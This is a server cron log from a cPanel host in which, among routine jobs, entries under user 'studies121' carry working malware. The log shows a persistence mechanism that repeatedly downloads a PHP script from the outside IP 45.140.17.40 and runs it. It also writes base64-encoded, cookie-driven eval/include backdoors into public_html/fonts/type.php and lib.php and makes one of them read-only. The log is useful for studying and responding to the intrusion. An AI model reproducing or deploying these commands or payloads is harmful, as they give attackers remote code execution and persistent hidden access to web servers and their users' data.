Sep  9 23:08:01 ip-184-168-122-23 CROND[27639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:08:01 ip-184-168-122-23 CROND[27641]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:08:01 ip-184-168-122-23 CROND[27640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:08:01 ip-184-168-122-23 CROND[27642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:09:01 ip-184-168-122-23 CROND[27751]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 23:09:01 ip-184-168-122-23 CROND[27753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:09:01 ip-184-168-122-23 CROND[27755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:09:01 ip-184-168-122-23 CROND[27754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:09:01 ip-184-168-122-23 CROND[27756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:10:01 ip-184-168-122-23 CROND[27848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:10:01 ip-184-168-122-23 CROND[27850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:10:01 ip-184-168-122-23 CROND[27854]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 23:10:01 ip-184-168-122-23 CROND[27852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:10:01 ip-184-168-122-23 CROND[27855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:10:01 ip-184-168-122-23 CROND[27851]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:10:01 ip-184-168-122-23 CROND[27853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:10:01 ip-184-168-122-23 CROND[27856]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:11:01 ip-184-168-122-23 CROND[27944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:11:01 ip-184-168-122-23 CROND[27945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:11:01 ip-184-168-122-23 CROND[27947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:11:01 ip-184-168-122-23 CROND[27948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:12:01 ip-184-168-122-23 CROND[28103]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:12:01 ip-184-168-122-23 CROND[28102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:12:01 ip-184-168-122-23 CROND[28105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:12:01 ip-184-168-122-23 CROND[28108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:12:01 ip-184-168-122-23 CROND[28110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:13:01 ip-184-168-122-23 CROND[28189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:13:01 ip-184-168-122-23 CROND[28191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:13:01 ip-184-168-122-23 CROND[28190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:13:01 ip-184-168-122-23 CROND[28192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:14:01 ip-184-168-122-23 CROND[28269]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:14:01 ip-184-168-122-23 CROND[28272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:14:01 ip-184-168-122-23 CROND[28271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:14:01 ip-184-168-122-23 CROND[28274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:14:01 ip-184-168-122-23 CROND[28273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:15:01 ip-184-168-122-23 CROND[28374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:15:01 ip-184-168-122-23 CROND[28376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:15:01 ip-184-168-122-23 CROND[28378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:15:01 ip-184-168-122-23 CROND[28379]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:15:01 ip-184-168-122-23 CROND[28380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:15:01 ip-184-168-122-23 CROND[28377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:16:01 ip-184-168-122-23 CROND[28469]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 23:16:01 ip-184-168-122-23 CROND[28472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:16:01 ip-184-168-122-23 CROND[28473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:16:01 ip-184-168-122-23 CROND[28474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:16:01 ip-184-168-122-23 CROND[28471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:16:01 ip-184-168-122-23 CROND[28475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:17:01 ip-184-168-122-23 CROND[28646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:17:01 ip-184-168-122-23 CROND[28648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:17:01 ip-184-168-122-23 CROND[28649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:17:01 ip-184-168-122-23 CROND[28652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:18:01 ip-184-168-122-23 CROND[28730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:18:01 ip-184-168-122-23 CROND[28732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:18:01 ip-184-168-122-23 CROND[28733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:18:01 ip-184-168-122-23 CROND[28734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:18:01 ip-184-168-122-23 CROND[28735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:19:01 ip-184-168-122-23 CROND[28813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:19:01 ip-184-168-122-23 CROND[28814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:19:01 ip-184-168-122-23 CROND[28816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:19:01 ip-184-168-122-23 CROND[28817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:20:01 ip-184-168-122-23 CROND[28928]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 23:20:02 ip-184-168-122-23 CROND[28932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:20:02 ip-184-168-122-23 CROND[28931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:20:02 ip-184-168-122-23 CROND[28938]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
